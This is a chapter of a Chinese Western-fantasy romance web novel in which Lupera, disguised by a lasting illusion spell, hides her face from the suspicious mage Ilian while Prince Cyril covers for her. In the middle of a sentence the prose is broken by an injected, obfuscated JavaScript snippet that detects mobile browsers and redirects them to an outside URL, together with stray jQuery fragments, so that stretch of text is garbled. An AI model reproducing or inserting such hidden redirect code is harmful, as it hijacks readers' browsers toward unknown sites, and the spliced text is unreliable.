17. 幻象与真容
作品:《前任变皇兄,但我只想屠龙[西幻]》 清晨的第一缕阳光透过岩缝照在水面上,照得出来澄澈的水质,却照不出来昨夜的水波荡漾。
露佩拉是在一阵晕眩中醒来的。
那种感觉很奇怪,像是在这片坚硬的岩石地上躺了一夜,却依然感觉自己正随着某种看不见的波浪在起伏。
露佩拉皱着眉,下意识地想要抓住什么东西来稳住重心。手指一收紧,却触碰到了一片温热且紧实的皮肤。她迷迷糊糊地想起来,这是西里尔的手臂,此刻正垫在她的颈下,给她当了一整晚的人肉枕头。
昨晚那些破碎的记忆,像带着热气的潮水一样涌了进来。
她想起了那种失重感。
想起了自己像只正在称重的考拉一样,紧紧抱着他的脖颈,被迫随着他的节奏一次次抛向云端的感觉。那时候也是这样,眼前的一切都在晃,整个世界只剩下那一双冰蓝色的眼睛。
头晕一定是因为睡眠不足,就像以前周日舍不得睡觉,导致周一醒来晕得想死那样。
露佩拉强制关闭昨晚的回忆,尝试着坐起来,却被西里尔一手按住了。
“还早,再睡一下吧……”
西里尔把露佩拉搂进怀里,将下巴放在她发顶。
“其他人还等着集合呢。”露佩拉习惯了第二天早上直接提裤子走人,不太适应这种温存。
“他们没那么快的,更何况,”西里尔睁开眼睛,看向露佩拉肩膀上的红痕,“昨晚睡那么晚,我觉得你需要多休息一下。”
露佩拉抬手挡住他的眼睛:“还不是因为你像狗一样一直啃。”
“因为你太冷了,忍不住想多捂一会儿。”
“谢谢,现在已经暖和了。”露佩拉推开他的手,从地上坐了起来,开始穿残破的外衣。
可当她看到肩膀上垂下的头发时,才意识到现在的危机是什么。
“西里尔,这个法术持续时间是一整天吗?”露佩拉把西里尔摇了起来,“能不能解除掉?”
“不能,这个幻术不像你平时易容用的那些低阶法术,无法用任何手段解除。”西里尔拿起一缕红发在手上仔细端详,“只能等时间到了自动解除。”
“要是让伊利安看见怎么办?”露佩拉一想起那张阴沉的脸就头疼,偏偏现在有任务在身不能跑路。
“事关王室颜面,他未必会声张。”西里尔伸手圈住露佩拉的肩膀,试图柔声安抚她。
“但他肯定会趁机给我下什么追踪的法咒,任务结束后追得我鸡飞狗跳。”
“那就把脸和头发都挡住。”西里尔将盖在两人身上的缎面衬衫罩在露佩拉头上,“会合的时候说你中了敌人的诅咒,脸上有毒斑,需要牧师诊治,不能见人。”
“可这里离冰原不远了,”露佩拉扒拉开衬衫,露出一双眼睛,盯着西里尔的胸口,“你光着上身小心生病。”
“那就待在这里等他们过来吧,伊利安能用罗盘找到你的,上次你和凯恩……”想起凯恩那天早上的雄伟景象,西里尔的脸又绿了几分。
“那我再睡会儿。”露佩拉见状立刻用衬衫蒙住脸,躺了回去。
“你心虚了?”西里尔双手撑在露佩拉耳畔,试图用目光看透衬衫底下的景象。
“你不是说了不管我的过去吗?”布料的阻隔让露佩拉的声音显得有些闷闷的。
对啊,毕竟你是看到奶酪就知道应该避开陷阱的聪明的小老鼠。
“但是现在在你面前的人是我,你想的人应该是我。”西里尔俯身,隔着布料吻上了她的唇。
头上盖着衣服让露佩拉有些呼吸不畅,可西里尔像成心报复她一样,吻起来就不肯撒手。
露佩拉感觉自己快要窒息了,只能一把掀开衬衫,将它盖在了西里尔脸上。
在西里尔扯下衬衫的几秒钟里,露佩拉已经从地上站了起来,西里尔正准备站起来追逐她时,外面突然传来了脚步声。
两人迅速交换眼神,此时双方脸上已经没有嬉笑的痕迹了。
无法辨认来人是敌是友,只能亲眼确认了。
西里尔将衬衫盖回露佩拉头上,蹑手蹑脚地移动到岩缝边,观察外面的情况。
不知道该说是不幸还是万幸,外面的人不是敌人,是拿着罗盘的伊利安,没有看到路西恩和凯恩。
“伊利安来了。”西里尔回到露佩拉身边,在她耳边低语。
“路西恩呢?”
怎么这种时候先问的是他?
“可能兵分三路了,也可能在集合的地点等候吧。”西里尔按下心头的不满,勉强用平稳的语气回答她,“就按我之前说的来,你把脸和头发藏好,我来应付他。”
两人说话间伊利安已经循着罗盘来到岩缝前,拨开了洞口的藤蔓。
“两位殿下……”
伊利安看到蒙着头的公主和光着上身的王子,聪明的脑瓜子又转懵了,脑子里混乱得堪比第三次世界大战。
“艾斯黛拉中了敌人的黑魔法,脸上皮肤溃烂见不得人,”西里尔面色如常,没有半点羞怯,“路西恩呢?让他来为她诊治。”
“路西恩在会合地点等候,我和凯恩出来找人。”伊利安的眼珠转了几圈,最后停在了那个被衬衫笼罩的人身上,“我也略通一些疗愈法术,不如让我来为公主殿下……”
“不必了,疗伤还是让牧师来吧,她现在的样子越少人看见越好。”西里尔打断了伊利安的话语,搂着露佩拉向外面走去,“你带路就行。”
“是。”
既然西里尔都把话说到这份上了,伊利安也不好再坚持。虽然他觉得那个被裹成粽子的女人很可疑,但只要不把他卷进什么皇室私生子或者秘密情人的宫廷秘闱里,他也乐得装聋作哑。
毕竟上一任法师塔主人就是因为撞破王室秘密死掉的。
“这边走,殿下。凯恩在峡谷口放哨,路西恩已经在那里布置好了传送阵。”
可当伊利安闻到露佩拉身上那股禁忌魔法残留的气息时,他聪明的智商又占领了高地。
是永夜之帷的味道。
是他教给那个女贼的第一个法术。
这女贼专挑禁术学,不狠毒的不愿意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151073|195738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学,哪怕他再三强调使用这样强大的法术会让她体内魔力失衡,她也依然要学。
“用多了会害死你的。”
“不用不也是死?那还不如试一试,技多不压身嘛。”
伊利安想着这法术难度极高,她未必学得会,便教了。可令他忮忌的是,她不管学什么法术都学得极快,就好像她的躯体是为了魔法而生一样。如果她潜心钻研法术,或许这法师塔得换主人了。
幸好她的身体承受不住长期使用魔法的代价,也幸好她更爱用拳头和刀子,不然他也要甘拜下风了。
伊利安胡思乱想着,忍不住回头看了一眼那个看不见面容的女人。
“阁下在看什么?”
还不等伊利安目光聚焦,西里尔就开口警告了他。
“路在前面,不在我妹妹脸上。”
“我只是有些担心公主伤势,”伊利安重新看向前方,可他实在是无法忽视那股魔法气息,“毕竟……黑魔法伤身。”
“不牢阁下费心,自有牧师为她治疗。”
“是,殿下。”
伊利安一路无话。
他知道世上会这魔法的人肯定不止他和那女贼,毕竟黑魔法委实强大,总有亡命之徒愿意冒着生命危险去触碰。
可这接二连三的巧合让他忍不住再次审视这个可疑的女人。
若她真的是那个让他找了一年的女贼,那她又是如何和皇室搭上线的?她和身边这个王子又是什么关系?
各怀心事的三人就这样沉默着抵达了会合地点。
“路西恩,给她疗伤。”西里尔不情不愿地把露佩拉交给了他。
“是,殿下。”
路西恩在等候期间已经扎了个简单的营地,看到罩着衣服的露佩拉并没有惊讶,而是找出了备用的衣服给西里尔,然后领着露佩拉进了帐篷。
帐篷外只剩下三个面色凝重的男人。
西里尔心里五味杂陈,因为露佩拉与那两个男人的关系似乎复杂到超乎他的想象。
伊利安在怀疑那位“公主”的身份。
凯恩则是唯一一个担心露佩拉安危的人。虽然他效忠她与她的外貌无关,可她要是真的毁了容想不开怎么办。
“公主身体已无大碍。”路西恩的声音打破了沉默,“只是恢复容貌的药物需要一定时间起效。”
西里尔知道,路西恩也对幻术束手无策。
“今日便在此扎营过夜吧。”西里尔下达了指令。
随着夜幕降临,这个位于峡谷边缘的临时营地变得异常安静。只有篝火燃烧时发出的噼啪声,和远处森林里偶尔传来的夜枭啼鸣。
四个男人围坐在篝火边,谁也没有说话。
没有了露佩拉活跃气氛,他们好像无话可说。
而露佩拉对此一无所知。
她昨晚没有睡好,进了帐篷就一直昏昏沉沉的,吃了路西恩送进来的晚饭之后直接倒头呼呼大睡。
对于她来说,不论置于何种境地,睡好觉吃饱饭是最重要的事情,这样才有力气面对一切。

